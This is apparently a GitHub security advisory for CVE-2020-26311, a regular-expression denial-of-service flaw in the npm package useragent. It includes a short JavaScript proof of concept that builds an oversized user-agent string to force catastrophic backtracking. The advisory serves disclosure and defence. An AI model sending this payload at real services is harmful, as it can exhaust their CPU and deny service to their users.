GitHub Advisoryadvisory · npm
GHSA-mgfv-m47x-4wqp useragent Regular Expression Denial of Service vulnerability
MEDIUM
Official page ↗
- Aliases
- CVE-2020-26311
- Ecosystem
- npm
- Packages
- useragent
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333
- Reviewed
- 2024-10-28
Affected packages
• npm useragent: <= 2.3.0 (no fix yet)
Description
Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).
PoC
```js
async function exploit() {
const useragent = require(\"useragent\");
// Create a malicious user-agent that leads to excessive backtracking
const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';
// Parse the malicious user-agent
const agent = useragent.parse(maliciousUserAgent);
// Call the toString method to trigger the vulnerability
const result = await agent.device.toString();
console.log(result);
}
await exploit();
```
Related
Alias · CVE (1)
- CVE-2020-26311 Useragent is a user agent parser for Node.js. vulnerability
Weakness · CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-26311 advisory
- https://github.com/3rd-Eden/useragent/issues/167 web
- https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b web
- https://github.com/3rd-Eden/useragent package
- https://github.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568 web
- https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent advisory